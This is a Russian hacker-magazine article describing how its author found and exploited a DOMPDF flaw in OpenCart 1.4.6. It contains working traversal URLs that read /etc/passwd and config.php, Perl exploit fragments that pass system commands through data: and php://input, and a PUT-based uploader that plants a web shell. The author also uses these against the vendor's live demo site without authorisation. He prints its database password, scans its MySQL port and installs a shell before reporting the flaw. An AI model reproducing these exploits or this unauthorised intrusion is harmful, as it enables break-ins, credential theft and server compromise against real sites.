Содержание статьи
ВОТ ОНА, ВЕСНА — время депрессий, мартовских котов и дождей. Делать что-либо совсем не было желания, но, как назло, у меня освободилась пара вечеров. Терять это драгоценное время очень уж не хотелось, поэтому я решил потренировать глаза, покопавшись в PHP-движках. Ну, а вдруг чего выгорит? Чтобы узнать, что же все-таки вышло из комбинации OpenCart, пары вечеров и пары литров кофе, читай дальше.
Дело было вечером
Принялся я за поиски уязвимостей, накачав самых разных движков последних версий. В процессе изучения оных остановился на движке онлайн-магазина OpenCart версии 1.4.6. Запустил самопальный баш-скрипт для поиска подозрительных функций.
Среди всего прочего кода, который выдал скрипт, мое внимание привлекла следующая строка:
eval("?" .">$str");
Ну-ка глянем, что там у медвежонка внутри. Этот подозрительный кусок кода находится в файле system/helper/dompdf/include/dompdf.cls.php, на строке 276 — туда и направимся.
Открываем файл и видим, что находимся внутри метода load_html(), который принимает переменную $str, и на данном этапе она никак не фильтруется. Но, так как в этом файле находится только один класс, нам надо найти точку вхождения — скрипт, который доступен извне и работает с классом DOMPDF.
Уровнем выше, в самой папке dompdf, лежат разные скрипты; начнем перебирать их в браузере. Открываем первый попавшийся, а это dompdf.php! Видим, что скрипт ругается, мол, не хватает ему входных параметров. Из ошибки понятно, что ему нужно получить $_GET['input_file']. Ну что же, удовлетворим его, но предварительно посмотрим, что находится внутри самого скрипта. А внутри — мешанина всяких условий. Чтобы узнать, как далеко скрипт выполнился, я обычно расставляю в самых разных местах отладочные сообщения типа:
printf("File: %s, line: %d<br/>",
__FILE__, __LINE__);
Немного помучив скрипт, я установил следующее: если указать требуемый параметр input_ file, то он попадает в метод load_html_file() класса DOMPDF. Этот метод, в свою очередь, пытается прочитать файл в строку при помощи функции file_get_contents(), а затем передает содержимое в метод load_html(). И происходит все это без каких-либо фильтраций.
То ли разработчики надеялись на то, что пользователи этой библиотеки будут все фильтровать, то ли они очень наивны и оставили все на волю судьбы. Как бы то ни было, это играет нам на руку. Следуя логике работы скрипта, получается, что мы можем читать файлы. Проверим это дело. В браузере я набрал:
http://localhost/h/opencart_v1.4.6/upload/system/helper/dompdf/dompdf.php?input_
file=../../../../../../etc/passwd
О да, мы получили /etc/passwd в виде PDF-файла. Исходя из того, для каких целей служит библиотека, этого можно было ожидать.
Пишем эксплойт
Читать произвольные файлы, пусть и в такой извращенной форме — это неплохо, но хотелось чего-то большего. Уж очень сильно eval() мозолил глаза — нельзя упускать возможность выполнить PHP-код. В этом случае было бы достаточно заинклудить любой файл, содержащий код, и он бы успешно выполнился. Но в своем эксплойте для этого движка я хотел сделать удаленное выполнение команд без инклуда посторонних файлов. Начиная с версии PHP 5.2.0 поддерживается обертка data:, которую и было решено задействовать. Протокол data был описан в 127 номере журнала, так что обращайся туда, а мы едем дальше.
Как всегда, эксплойт я писал на своем любимом Perl. В целом, эксплойт будет понятен и неискушенному в Perl человеку, но там я применил один трюк с башем. Чтобы тебя не смущать, на всякий случай поясню следующую строку:
$cmd = encode_base64($cmd
. '| sed -e :a -e \'$!N;s/\
n/<br\/>/;ta\'');
В переменной $cmd содержится введенная тобой команда, допустим, ls -la. Склеиваем ее с тем однострочником, что справа. Этот сниппет с sed я применил лишь для того, чтобы преобразовать переносы строк в ‘<br/>’, так как в полученной PDF применяется HTMLформатирование. В итоге получится следующая команда:
ls -la | sed -e :a -e '$!N;s/\
n/<br\/>/;ta'
Через пайп передаем результат первой команды в sed, который занимается форматированием. Все это добро мы перекодируем в base64 и вставляем в очередной кусок кода.
my $tobase64php = "<?php \@
system(base64_decode('$cmd'));";
my $payload = 'data:;base64,' .
encode_base64($tobase64php);
Ну, а здесь тебе уже должно быть все понятно — очень похоже на пресловутый PHP. Сам эксплойт позволяет выполнять системные команды, а результат приходит в виде PDFфайла. Тут я подумал: а что, если за меня уже сделали всю работу? Совсем забыл погуглить на предмет наличия уязвимостей под этот движок. Поиск по последней версии OpenCart ничего не дал, были лишь старые уязвимости. А вот по «dompdf exploit» (это все-таки сторонняя библиотека) кое-что нашлось.
Benj Carson из «YGN Ethical Hacker Group» сообщал об уязвимости, которая заключается в том, что можно скачивать любые файлы в виде PDF (что я и раскопал). Однако мой эксплойт использует более широкие возможности уязвимости, к тому же, про уязвимость в OpenCart сообщено не было.
А что, если..?
Итак, эксплойт для движка был готов, но тут я вспомнил про одну вещь. Когда я скачивал движок, то заметил, что сайт предоставляет онлайновую демо-версию. Догадываешься, о чем я? Так точно, мы будем штурмовать оффсайт! Не всегда, конечно, выпадает такое счастье как уязвимый движок на самом сайте разработчика, но попробовать стоит. Кто не рискует, тот не пьет шампанское. Первым делом я сразу полез проверять, что выплюнет уязвимый скрипт. В моем случае (на локальном сервере) он ругался на неопределенные параметры. Но в демоверсии сайта вполне может быть версия скрипта посвежей и без уязвимости, либо вообще отсутствовать такой скрипт.
Там часто в целях безопасности обрезают все, что только можно. Как бы то ни было, идем по следующей ссылке:
demo.opencart.com/system/helper/dompdf/
dompdf_main.php
Скрипт ругается точно также, как и на моем сервере. Это хорошо, можем продолжать эксперименты. На тот момент была лишь одна идея — применить свежевыжатый эксплойт. Набираем в консоли:
perl dompdf.pl -u=http://demo.opencart.com/
-c='ls -la'
Смотрим результат в сохраненной PDF'ке. Открываем, а там ругаются: неверный формат PDF-файла. Решил посмотреть, что же вообще сервер отдал в качестве содержания файла. Переименовал файл в текстовик, а внутри ошибка PHP:
URL file-access is disabled in the server configuration in...
И бла-бла-бла. Это могло означать, что у них на сервере PHP сконфигурирован как allow_url_fopen=off. При таком раскладе протокол data не работает, и, естественно, RFI тут тоже не пройдет. Обидно, конечно, но меня это не остановило — я решил искать другой способ заполучить шелл на оффсайте движка.
Кстати, на локальном сервере желательно иметь ту же конфигурацию, что и на уязвимом, чтобы максимально приблизить обстоятельства локального тестирования к реальным. Поэтому я и у себя выставил allow_url_fopen=off, чтобы в будущем не наступать на грабли. Однако, когда тестируешь движки, стоит настраивать PHP на самую мягкую конфигурацию.
Серия неудач…
Сначала я хотел посмотреть, как работает уязвимость на оффсайте движка. Вдруг читать файлы вовсе не получится? Но чего гадать — набираем в браузере:
http://demo.opencart.com/system/helper/dompdf/dompdf.php?input_file=../../../../../../../etc/passwd
И скачиваем PDF-файл со списком пользователей системы. Неплохо, но это нам мало поможет. Я принялся за поиски конфигурационных файлов в надежде найти аутентификационные данные. Прямо в корне системы OpenCart лежит config.php. Но имей ввиду, что, прежде чем скачивать PHP-файл, нам надо его во что-нибудь преобразовать, иначе он просто выполнится как код. Значит, ядовитый URL приобретает такой вид:
http://demo.opencart.com/system/helper/
dompdf/dompdf.php?input_file=php://filter/convert.base64-encode/
resource=../../../config.php
Здесь я использовал фильтр потока, который появился в PHP с версии 5.0.0. Таким образом, прочитанный файл преобразуется в строку, закодированную при помощи base64.
Между прочим, хороший способ читать бинарники. Итак, используя уязвимость, я успешно скачал содержимое файла в виде PDF. Раскодировав обратно полученную строку, я получил следующее:
<?php
...
// DB
define('DB_DRIVER', 'mysql');
define('DB_HOSTNAME',
'localhost');
define('DB_USERNAME',
'opencart_user');
define('DB_PASSWORD',
'|l$Ik|S;15Yf');
define('DB_DATABASE',
'opencart_demo');
define('DB_PREFIX', '');
?>
Теперь есть логин и пароль пользователя MySQL. Надо проверить сервер на наличие открытого порта 3306. С забугорного дедика запускаю:
nmap 85.13.246.138 -p 3306
nmap сообщает о том, что порт открыт. С того же дедика пробуем:
mysql -h 85.13.246.138 -u
opencart_user -p
У нас запрашивают пароль. Вводим его, но нас шлют лесом. Многочисленные попытки с разных серверов, через разные прокси и разные методы не дают никаких результатов: то неверный пароль, то непонятная каша вместо приглашения, то срывы соединения.
Обидно и непонятно. Облом номер один. Затем мне пришла в голову одна идея. Если инклуд удаленных файлов и протокол data запрещены, то что будет, если попробовать найти в демоверсии сайта загрузку файлов? Нам бы пригодилась и загрузка картинок. Заинклудив картинку с PHP-кодом, мы могли бы его выполнить. К сожалению, поиск по демонстрационной версии админки не принес никаких результатов. Админка была урезана в правах и нельзя было грузить даже картинки.
Облом номер два. Потом я решил взяться за врапперы PHP, поколдовать с ними — вдруг что выгорит. Но все безрезультатно. Ситуация такова: удаленные файлы читать нельзя, локальные файлы можно получить в виде PDF и можно выполнять PHP-код локальных файлов.
Но проку от этого всего нет, если нет возможности выполнить именно свой код. Тогда я вспомнил про инклуд PHP-кода в локальные файлы. Но как я не пытался, ни старый трюк с лог-файлами apache, ни метод с /proc тоже не помогли. Это был облом номер три.
… но в итоге моя взяла
Все это начинало действовать на нервы — есть и уязвимость, и конфиг с паролем к базе данных, но всюду меня шлют лесом. Оставив это дело на следующий день, я отправился спать. Как говорится, утро вечера мудренее.
На следующий день я снова принялся курить мануалы по PHP и разгребать уязвимую библиотеку. Вспоминая про обертки, фильтры и прочее, я вспомнил про php://input. Эта обертка позволяет читать POST данные, и независима от каких-либо директив PHP. В общем, затея моя была такова: вместо файла подставить данную обертку, а нужный код послать в POST-массиве. В итоге строка запроса в эксплойте должна быть такой:
http://.../dompdf.php?input_
file=php://input
Быстро набросав на коленке Perl-скрипт, я принялся тестировать этот метод. Но был жутко огорчен. Данные, принимаемые из POSTмассива, приходили как закодированные URLэквиваленты; к тому же полностью приходило как содержимое, так и название переменной. То есть, получалось такое безобразие:
var=%3C%3Fphp%20echo%28999%29%3B
Понятно, что это не будет выполняться как код. Снова надо было думать и искать альтернативные варианты, а ведь счастье было так близко. В поисках методов модификации передаваемых значений через php://input я набрел на метод PUT. Надо бы попробовать его — он проще, чем POST, но поддерживается не всеми серверами и не всегда. Итак, заменив POST на PUT, пробуем послать какую-нибудь строку, которая должна выполниться как PHP-код. И что ты думаешь? Это прокатило, скрипт получает чистую строку, код выполняется. Второй эксплойт основан на методе с PUT и php:/input, он загружает произвольные файлы на сервер с уязвимой библиотекой, действуя в несколько этапов.
Вот кусок из эксплойта:
my $tmp_shell = <<'B64';
<?php
if(@move_uploaded_file($_FILES['fi']
['tmp_name'],$_FILES['fi']['name']))
{
echo(9);
@unlink(__FILE__);
}
B64
my $shell64 = encode_base64(
$tmp_shell);
my $tophp = sprintf(
"<?php eval(base64decode('%s'));",
encode_base64(
"file_put_contents('i.php',
base64_decode('$shell64'));")
);
# Stage 1, exploiting DOMPDF
vulnerability.
my $req = PUT "$url/dompdf.
php?input_file=php://input", Content
=> $tophp;
В переменной $tmp_shell у нас временный мини-шелл. Его задача — загрузить файл (для нас предпочтительно полноценный шелл) и удалить самого себя. Этот мини-шелл будет записан в файл i.php при выполнении PHP-кода. В последней строке у нас находится перловый запрос PUT. В принципе, тут все должно быть интуитивно понятно. Этот и самый первый эксплойты ищи на диске.
Таким образом, вырос второй эксплойт, ориентированный на вариант, когда allow_ url_fopen=off. На локальном сервере все замечательно работает, шелл заливается.
Теперь остается скрестить пальцы и запустить наш эксплойт против демоверсии сайта. Снова соединяюсь со своим дедиком и запускаю оттуда эксплойт:
www-data@sd:/var/www/lib$ ./e.pl
-u=http://demo.opencart.com/ -s=./
logs.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
www.opencart.com exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[~] Exploiting http://demo.
opencart.com/
[+] Ok, uploading shell...
[+] Ok, response[9], checking for
shell.
[+] Ok, shell: http://demo.
opencart.com/system/helper/dompdf/newi.php
Как ты понимаешь, теперь мне повезло, и шелл залился. Находясь внутри сервера, я увидел, что админы сервера поотрубали множество опасных функций PHP, неплохо настроили PHP-конфиг, но это их не спасло. Изначально поставленная мною цель была достигнута — преодолеть первый рубеж, залить шелл. Находясь на сервере, можно было дампить базу данных, рутать сервер, дефейсить и так далее, но это не входило в мои планы. Я поступил более гуманно, сообщив администраторам об уязвимости. Админы подсуетились в тот же день, так что на оффсайте последняя версия (1.4.6) не поддается эксплойту. Поэтому можно наткнуться как на уязвимый, так и на чистый движок одной и той же версии.
Хэппи энд
Какой урок можно извлечь из этой истории? Атакующей стороне — не сдаваться и не отступать, а шевелить мозгами и искать пути обхода. Как ты мог наблюдать, для того, чтобы попасть на сервер, мне пришлось перебрать немалое количество разных техник и методов эксплуатации уязвимостей. Что по поводу разработчиков, то есть такая пословица: «доверяй, но проверяй». В движке, с которым мы работали, была применена уязвимая сторонняя библиотека, что и стало причиной успешной атаки. А ведь об уязвимости было известно еще до моего эксплойта. Это говорит о том, что разработчики движка не интересуются безопасностью, не читают багтреки, да и аудит своей системы в целом не проводят. В итоге финал таков, как он есть. Но одно было сделано правильно. Сами исходники движка находятся на хостинге от Google. Возможно, если хорошо поискать, то можно и на оффсайте найти аутентификационные данные для хостинга проекта, но это уже потребует немного больших усилий. Помимо безопасности, это снижает нагрузку на сервер, остается больше места, не расходуется трафик. В общем, учись, не вреди и используй знания в благих намерениях.
Links
- opencart.com — официальный сайт OpenCart.
- us3.php.net/manual/en/features.fileupload.put-method.php — мануал PHP по методу PUT.
- php.net/manual/en/wrappers.data.php — мануал PHP по оберткам.
- archives.neohapsis.com/archives/fulldisclosure/2009-07/0417.html — сообщение об уязвимости в DOMPDF.
- digitaljunkies.ca/dompdf/index.php — сайт класса DOMPDF.
- exploit-db.com/papers/260 — бумага по RFI/LFI от CWH Underground.